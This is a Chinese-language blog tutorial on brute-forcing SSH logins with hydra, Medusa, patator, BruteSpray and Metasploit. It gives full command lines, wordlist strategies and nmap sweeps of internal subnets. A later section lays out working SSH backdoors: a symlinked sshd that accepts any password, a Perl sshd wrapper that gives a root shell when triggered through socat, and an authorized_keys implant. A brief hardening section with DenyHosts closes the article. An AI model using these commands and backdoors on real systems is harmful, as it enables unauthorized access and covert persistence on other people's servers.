对于 Linux 操作系统来说,一般通过 VNC、Teamviewer 和 SSH 等工具来进行远程管理,SSH 是 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。
SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH 客户端适用于多种平台,几乎所有 UNIX 平台—包括 HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台都可运行 SSH。Kali Linux 渗透测试平台默认配置 SSH 服务。SSH 进行服务器远程管理,仅仅需要知道服务器的IP地址、端口、管理账号和密码,即可进行服务器的管理,网络安全遵循木桶原理,只要通过 SSH 撕开一个口子,对渗透人员来时这将是一个新的世界。
本文对目前流行的 SSH 密码暴力破解工具进行实战研究、分析和总结,对渗透攻击测试和安全防御具有一定的参考价值。
一、SSH密码暴力破解应用场景和思路
- 应用场景
(1)通过 Structs 等远程命令执行获取了 root 权限。
(2)通过 webshell 提权获取了 root 权限
(3)通过本地文件包含漏洞,可以读取 linux 本地所有文件。
(4)获取了网络入口权限,可以对内网计算机进行访问。
(5)外网开启了 SSH 端口(默认或者修改了端口),可以进行SSH访问。
在前面的这些场景中,可以获取 shadow 文件,对其进行暴力破解,以获取这些账号的密码,但在另外的一些场景中,无任何漏洞可用,这个时候就需要对 SSH 账号进行暴力破解。
- 思路
(1)对 root 账号进行暴力破解
(2)使用中国姓名 top1000 作为用户名进行暴力破解
(3)使用 top 10000 password 字典进行密码破解
(4)利用掌握信息进行社工信息整理并生成字典暴力破解
(5)信息的综合利用以及循环利用
二、使用 hydra 暴力破解 SSH 密码
hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大。在网络安全渗透过程中是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。
- 简介
hydra 是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和kali等渗透平台收录,除了命令行下的hydra外,还提供了hydragtk版本(有图形界面的hydra),官网网站:http://www.thc.org/thc-hydra ,目前最新版本为7.6下载地址:http://www.thc.org/releases/hydra-7.6.tar.gz ,它可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, uHTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP 等类型密码。
- 安装
(1)Debian 和 Ubuntu 安装
如果是 Debian 和 Ubuntu 发行版,源里自带 hydra,直接用 apt-get 在线安装:
sudo apt-get install libssl-dev libssh-devlibidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-devfirebird2.1-dev libncp-dev hydra
Redhat/Fedora 发行版的下载源码包编译安装,先安装相关依赖包:
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel
(2)centos 安装
tar zxvf hydra-7.6-src.tar.gz
cd hydra-6.0-src
./configure
make
make install
- 使用 hydra
BT5 和 kali 都默认安装了 hydra,在 kali 中单击“kali Linux”-“Password Attacks”-“Online Attacks”-“hydra”即可打开 hydra。在 centos 终端中输入命令 /usr/local/bin/hydra 即可打开该暴力破解工具,除此之外还可以通过 hydra-wizard.sh 命令进行向导式设置进行密码破解,如图1所示。
1.jpg
图1:使用 hydra-wizard.sh 进行密码破解
如果不安装 libssh,运行 hydra 破解账号时会出现错误,如图 2 所示,显示错误提示信息:[ERROR] Compiled without LIBSSH v0.4.x support, module is not available! 在 centos 下依次运行以下命令即可解决:
yum install cmake
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON …
make
make install
cd /test/ssh/hydra-7.6 (此为下载hydar解压的目录)
make clean
./configure
make
make install
2.jpg
图2:出现 libssh 模块缺少错误
- hydra 参数详细说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
-l LOGIN 指定破解的用户名称,对特定用户破解。
-L FILE 从文件中加载用户名进行破解。
-p PASS小写p指定密码破解,少用,一般是采用密码字典。
-P FILE 大写字母P,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-t TASKS 同时运行的连接的线程数,每一台主机默认为16。
-M FILE 指定服务器目标列表文件一行一条
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-v / -V 显示详细过程。
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-U 服务模块使用细节
-h 更多的命令行选项(完整的帮助)
server 目标服务器名称或者IP(使用这个或-M选项)
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT 一些服务模块支持额外的输入(-U用于模块的帮助)
- 破解 SSH 账号
破解 SSH 账号有两种方式,一种是指定账号破解,一种是指定用户列表破解。详细命令如下:
(1)hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
例如输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”对IP地址为“192.168.44.139”的 root 账号密码进行破解,如图3所示,破解成功后显示其详细信息。
“hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh ”将扫描结果保存在 save.log 文件中,打开该文件可以看到成功破解的结果,如图4所示。
3.jpg
图3:破解 SSH 账号
4.jpg
图4:查看破解日志
三、使用 Medusa 暴力破解 SSH 密码
- Medusa 简介
Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。 Medusa 是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP, PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT, SMTP
(AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具,官方网站:http://foofus.net/goons/jmk/medusa/medusa.html 。目前最新版本2.2,美中不足的是软件从2015年后未进行更新,kali默认自带该软件,软件下载地址:
https://github.com/jmk-foofus/medusa
https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz
- 安装 medusa
(1)git 克隆安装
git clone https://github.com/jmk-foofus/medusa.git
(2)手动编译和安装 medusa
./configure
make
make install
安装完成后,会将 medusa 的一些 modules 文件复制到 /usr/local/lib/medusa/modules 文件夹。
- Medusa 参数
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码,s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计。
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次
- 破解单一服务器 SSH 密码
(1)通过文件来指定 host 和 user,host.txt 为目标主机名称或者 IP 地址,user.txt 指定需要暴力破解的用户名,密码指定为 password
./medusa -M ssh -H host.txt -U users.txt -p password
(2)对单一服务器进行密码字典暴力破解
如图5所示,破解成功后会显示 success 字样,具体命令如下:
medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt
5.png
图5:破解 SSH 口令成功
如果使用Cltrl+Z结束了破解过程,则还可以根据屏幕提示,在后面继续恢复破解,在上例中恢复破解,只需要在命令末尾增加“-Z h1u1.”即可。也即其命令为:
medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt -Z h1u1.
- 破解某个 IP 地址主机破解成功后立刻停止,并测试空密码以及与用户名一样的密码
medusa -M ssh -h 192.168.157.131 -u root -P /root/newpass.txt -e ns -F
执行效果如图 6 所示,通过命令查看字典文件 newpass.txt,可以看到root密码位于第8行,而在破解结果中显示第一行就破解成功了,说明先执行了“-e ns”参数命令,对空密码和使用用户名作为密码来进行破解。
6.png
图6:使用空密码和用户名作为密码进行破解
技巧:加-O ssh.log 可以将成功破解的记录记录到 ssh.log 文件中。
四、使用 patator 暴力破解 SSH 密码
- 下载并安装 patator
git clone https://github.com/lanjelot/patator.git
cd patator
python setup.py install
- 使用参数
执行 ./patator.py 即可获取详细的帮助信息
Patator v0.7 (https://github.com/lanjelot/patator)
Usage: patator.py module --help
可用模块:
- ftp_login : 暴力破解FTP
- ssh_login : 暴力破解 SSH
- telnet_login : 暴力破解 Telnet
- smtp_login : 暴力破解 SMTP
- smtp_vrfy : 使用SMTP VRFY进行枚举
- smtp_rcpt : 使用 SMTP RCPT TO枚举合法用户
- finger_lookup : 使用Finger枚举合法用户
- http_fuzz : 暴力破解 HTTP
- ajp_fuzz : 暴力破解 AJP
- pop_login : 暴力破解 POP3
- pop_passd : 暴力破解 poppassd (http://netwinsite.com/poppassd/)
- imap_login : 暴力破解 IMAP4
- ldap_login : 暴力破解 LDAP
- smb_login : 暴力破解 SMB
- smb_lookupsid : 暴力破解 SMB SID-lookup
- rlogin_login : 暴力破解 rlogin
- vmauthd_login : 暴力破解 VMware Authentication Daemon
- mssql_login : 暴力破解 MSSQL
- oracle_login : 暴力破解 Oracle
- mysql_login : 暴力破解 MySQL
- mysql_query : 暴力破解 MySQL queries
- rdp_login : 暴力破解 RDP (NLA)
- pgsql_login : 暴力破解 PostgreSQL
- vnc_login : 暴力破解 VNC
- dns_forward : 正向DNS 查询
- dns_reverse : 反向 DNS 查询
- snmp_login : 暴力破解 SNMP v1/2/3
- ike_enum : 枚举 IKE 传输
- unzip_pass : 暴力破解 ZIP加密文件
- keystore_pass : 暴力破解Java keystore files的密码
- sqlcipher_pass : 暴力破解 加密数据库SQL Cipher的密码-
- umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
- tcp_fuzz : Fuzz TCP services
- dummy_test : 测试模块
- 实战破解
(1)查看详细帮助信息
执行“./patator.py ssh_login –help“命令后即可获取其参数的详细使用信息,如图7所示,在 ssh 暴力破解模块 ssh_login 中需要设置 host,port,user,password 等参数。
7.png
图7:查看帮助信息
(2)执行单一用户密码破解
对主机 192.168.157.131,用户 root,密码文件为 /root/newpass.txt 进行破解,如图8 所示,破解成功后会显示 SSH 登录标识“SSH-2.0-OpenSSH_7.5p1 Debian-10“,破解不成功会显示” Authentication failed. “提示信息,其破解时间为2秒,速度很快!
./patator.py ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt
8.png
图8:破解单一用户密码
(3)破解多个用户。用户文件为/root/user.txt,密码文件为/root/newpass.txt,破解效果如图 9 所示。
./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt
9.png
图9:使用 patator 破解多用户的密码
五、使用 BrutesPray 暴力破解 SSH 密码
BruteSpray 是一款基于 nmap 扫描输出的 gnmap/XML 文件,自动调用 Medusa 对服务进行爆破(Medusa美杜莎是一款端×××破工具,在前面的文章中对其进行了介绍),声称速度比hydra快,其官方项目地址:https://github.com/x90skysn3k/brutespray 。BruteSpray 调用 medusa,其说明中声称支持 ssh、ftp、telnet、vnc、mssql、mysql、postgresql、rsh、imap、nntp、pcanywhere、pop3、rexec、rlogin、smbnt、smtp、svn 和 vmauthd 协议账号暴力破解。
- 安装及下载
(1)普通下载地址
https://codeload.github.com/x90skysn3k/brutespray/zip/master
(2)kali下安装
BruteSpray 默认没有集成到 kali Linux 中,需要手动安装,有的需要先在kali中执行更新,apt-get update 后才能执行安装命令:
apt-get install brutespray
kali Linux 默认安装其用户和密码字典文件位置:/usr/share/brutespray/wordlist。
(3)手动安装
git clone https://github.com/x90skysn3k/brutespray.git
cd brutespray
pip install -r requirements.txt
注意如果在其它环境安装需要安装 medusa,否则会执行报错。
- BrutesPray 使用参数
用法:brutespray.py [-h] -f FILE [-o OUTPUT] [-s SERVICE] [-t THREADS] [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME] [-p PASSWORD] [-c] [-i]
用法:python brutespray.py <选项>
选项参数:
-h, --help 显示帮助信息并退出
菜单选项:
-f FILE, --file FILE 参数后跟一个文件名, 解析nmap输出的GNMAP或者XML文件
-o OUTPUT, --output OUTPUT 包含成功尝试的目录
-s SERVICE, --service SERVICE 参数后跟一个服务名, 指定要攻击的服务
-t THREADS, --threads THREADS 参数后跟一数值,指定medusa线程数
-T HOSTS, --hosts HOSTS 参数后跟一数值,指定同时测试的主机数
-U USERLIST, --userlist USERLIST 参数后跟用户字典文件
-P PASSLIST, --passlist PASSLIST 参数后跟密码字典文件
-u USERNAME, --username USERNAME 参数后跟用户名,指定一个用户名进行爆破
-p PASSWORD, --password PASSWORD 参数后跟密码,指定一个密码进行爆破
-c, --continuous 成功之后继续爆破
-i, --interactive 交互模式
- 使用 nmap 进行端口扫描
(1)扫描整个内网C段
nmap -v 192.168.17.0/24 -oX nmap.xml
(2)扫描开放22端口的主机
nmap -A -p 22 -v 192.168.17.0/24 -oX 22.xml
(3)扫描存活主机
nmap –sP 192.168.17.0/24 -oX nmaplive.xml
(4)扫描应用程序以及版本号
nmap -sV –O 192.168.17.0/24 -oX nmap.xml
- 暴力破解 SSH 密码
(1)交互模式破解
python brutespray.py --file nmap.xml –i
执行后,程序会自动识别 nmap 扫描结果中的服务,根据提示选择需要破解的服务,线程数、同时暴力破解的主机数,指定用户和密码文件,如图10 所示。Brutespray 破解成功后在屏幕上会显示“SUCCESS”信息。
10.png
图10:交互模式破解密码
(2)通过指定字典文件爆破 SSH
python brutespray.py --file 22.xml -U /usr/share/brutespray/wordlist/ssh/user -P /usr/share/brutespray/wordlist/ssh/password --threads 5 --hosts 5
注意:brutespray 新版本的 wordlist 地址为/usr/share/brutespray/wordlist,其下包含了多个协议的用户名和密码,可以到该目录完善这些用户文件和密码文件。22.xml 为 nmap 扫描 22 端口生成的文件。
(3)暴力破解指定的服务
python brutespray.py --file nmap.xml --service ftp,ssh,telnet --threads 5 --hosts 5
(4)指定用户名和密码进行暴力破解
当在内网已经获取了一个密码后,可以用来验证 nmap 扫描中的开放 22 端口的服务器,如图11所示,对 192.168.17.144 和 192.168.17.147 进行 root 密码暴力破解,192.168.17.144 密码成功破解。
python brutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5
./brutespray.py -f 22.xml -u root -p toor --threads 5 --hosts 5
11.png
图11:对已知口令进行密码破解
(5)破解成功后继续暴力破解
python brutespray.py --file nmap.xml --threads 5 --hosts 5 –c
前面的命令是默认破解成功一个帐号后,就不再继续暴力破解了,此命令是对所有账号进行暴力破解,其时间稍长。
(6)使用 Nmap 扫描生成的 nmap.xml 进行暴力破解
python brutespray.py --file nmap.xml --threads 5 --hosts 5
- 查看破解结果
Brutespray 这一点做的非常好,默认会在程序目录 /brutespray-output/ 目录下生成 ssh-success.txt 文件,使用 cat ssh-success.txt 命令即可查看破解成功的结果,如图12所示。
QQ截图20180130104244.png
图12:查看破解成功的记录文件
也可以通过命令搜索ssh-success 文件的具体位置:find / -name ssh-success.txt
- 登录破解服务器
使用 ssh user@host 命令登录 host 服务器。例如登录 192.168.17.144:
输入密码即可正常登录服务器 192.168.17.144。
六、Msf 下利用 ssh_login 模块进行暴力破解
- msf 下有关 SSH 相关模块
在 kali 中执行“msfconsole”-“search ssh”后会获取相关所有ssh模块,如图13所示。
13.jpg
图13:msf 下所有 SSH 漏洞以及相关利用模块
- SSH 相关功能模块分析
(1)SSH 用户枚举
此模块使用基于时间的攻击枚举用户 OpenSSH 服务器。在一些 OpenSSH 的一些版本
配置,OpenSSH 会返回一个“没有权限”无效用户的错误比有效用户快。使用命令如下:
use auxiliary/scanner/ssh/ssh_enumusers
set rhost 191.168.17.147
set USER_FILE /root/user
run
使用 info 命令可以查看该模块的所有信息,执行效果如图14 所示,实测该功能有一些限制,仅仅对 OpenSSH 某些版本效果比较好。
14.png
图14:openssh 用户枚举
(2)SSH 版本扫描
查看远程主机的 SSH 服务器版本信息,命令如下:
use auxiliary/scanner/ssh/ssh_version
set rhosts 192.168.157.147
run
执行效果如图15 所示,分别对 centos 服务器地址 192.168.157.147 和 kali linux 地址 192.168.157.144 进行扫描,可以看出一个是 SSH-2.0-OpenSSH_5.8p1 Debian-1ubuntu3,另外一个是 SSH-2.0-OpenSSH_7.5p1 Debian-10,看到第一个版本,第一时间就可以想到如果拿到权限可以安装 ssh 后门。
15.png
图15:扫描 ssh 版本信息
(3)SSH 暴力破解
ssh 暴力破解模块“auxiliary/scanner/ssh/ssh_login”可以对单机进行单用户,单密码进行扫描破解,也可以使用密码字典和用户字典进行破解,按照提示进行设置即可。下面使用用户名字典以及密码字典进行暴力破解:
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.17.147
set PASS_FILE /root/pass.txt
set USER_FILE /root/user.txt
run
如图16 所示,对 IP 地址 192.168.17.147 进行暴力破解,成功获取 root 账号密码,网上有人写文章说可以直接获取 shell,实际测试并否如此,通过 sessions -l 可以看到 msf 确实建立会话,但切换(sessions -i 1)到会话一直没有反应。
16.png
图16:使用 msf 暴力破解 ssh 密码
七、ssh 后门
- 软连接后门
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=33223;
经典后门使用 ssh [email protected] -p 33223 直接对 sshd 建立软连接,之后用任意密码登录即可。
但这隐蔽性很弱,一般的 rookit hunter 这类的防护脚本可扫描到。
- SSH Server wrapper 后门
(1)复制 sshd 到 bin 目录
cd /usr/sbin
mv sshd …/bin
(2)编辑 sshd
vi sshd //加入以下内容并保存
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^…LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
(4)修改权限
chmod 755 sshd
(5)使用 socat
socat STDIO TCP4:target_ip:22,sourceport=19526
如果没有安装 socat 需要进行安装并编译
wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
tar -zxvf socat-1.7.3.2.tar.gz
cd socat-1.7.3.2
./configure
make
make install
(6)使用 ssh root@ target_ip 即可免密码登录
-
ssh 公钥免密
将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的 ~/.ssh/authorized_keys 文件,并设置相应的权限,即可免密码登录服务器。
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
八、ssh 暴力破解命令总结及分析
- 所有工具的比较
通过对 hydra、medusa、patator、brutepray 以及 msf 下的 ssh 暴力破解测试,总结如下:
(1)每款软件都能成功对 ssh 账号以及密码进行破解。
(2)patator 和 brutepray 是通过 python 语言编写,但 brutepray 需要 medusa 配合支持。
(3)hydra 和 medusa 是基于 C 语言编写的,需要进行编译。
(4)brutepray 基于 nmap 扫描结果来进行暴力破解,在对内网扫描后进行暴力破解效果好。
(5)patator 基于 python,速度快,兼容性好,可以在 windows 或者 linux 下稍作配置即可使用。
(6)如果具备 kali 条件或者 PentestBox 下,使用 msf 进行 ssh 暴力破解也不错。
(7)brutepray 会自动生成破解成功日志文件 /brutespray-output/ssh-success.txt;hydra 加参数“-o save.log”记录破解成功到日志文件save.log,medusa加“-O ssh.log”参数可以将成功破解的记录记录到ssh.log文件中;patator可以加参数“-x ignore:mesg=‘Authentication failed.’”来忽略破解失败的尝试,而仅仅显示成功的破解。
- 命令总结
(1)hydra 破解 ssh 密码
hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh
hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh
(2)medusa 破解 ssh 密码
medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt
medusa -M ssh -h 192.168.157.131 -u root -P /root/newpass.txt -e ns –F
(3)patator 破解 ssh 密码
./patator.py ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg=‘Authentication failed.’
./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg=‘Authentication failed.’
如果不是本地安装,则使用 patator 执行即可。
(4)brutespray 暴力破解 ssh 密码
nmap -A -p 22 -v 192.168.17.0/24 -oX 22.xml
python brutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5
(5)msf 暴力破解 ssh 密码
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.17.147
set PASS_FILE /root/pass.txt
set USER_FILE /root/user.txt
run
九、SSH暴力破解安全防范
-
修改/etc/ssh/sshd_config默认端口为其它端口。例如设置端口为2232,则port=2232
-
在/etc/hosts.allow中设置允许的IP访问,例如sshd:192.168.17.144:allow
-
使用DenyHosts软件来设置,其下载地址:
https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download
(1)安装cd DenyHosts
tar -zxvf DenyHosts-2.6.tar.gz
cd DenyHosts-2.6
python setup.py install
默认是安装到/usr/share/denyhosts目录的。
(2)配置cd DenyHosts
cd /usr/share/denyhosts/
cp denyhosts.cfg-dist denyhosts.cfg
vi denyhosts.cfg
PURGE_DENY = 50m #过多久后清除已阻止IP
HOSTS_DENY = /etc/hosts.deny #将阻止IP写入到hosts.deny
BLOCK_SERVICE = sshd #阻止服务名
DENY_THRESHOLD_INVALID = 1 #允许无效用户登录失败的次数
DENY_THRESHOLD_VALID = 10 #允许普通用户登录失败的次数
DENY_THRESHOLD_ROOT = 5 #允许root登录失败的次数
WORK_DIR = /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中
DENY_THRESHOLD_RESTRICTED = 1 #设定 deny host 写入到该资料夹
LOCK_FILE = /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。
HOSTNAME_LOOKUP=NO #是否做域名反解
ADMIN_EMAIL = #设置管理员邮件地址
DAEMON_LOG = /var/log/denyhosts #自己的日志文件
DAEMON_PURGE = 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。
(3)设置启动脚本
cp daemon-control-dist daemon-control
chown root daemon-control
chmod 700 daemon-control
完了之后执行daemon-contron start就可以了。
./daemon-control start
如果要使DenyHosts每次重起后自动启动还需做如下设置:
ln -s /usr/share/denyhosts/daemon-control /etc/init.d/denyhosts
chkconfig --add denyhosts
chkconfig denyhosts on
service denyhosts start
可以看看/etc/hosts.deny内是否有禁止的IP,有的话说明已经成功了。
原文链接
https://blog.51cto.com/simeon/2066269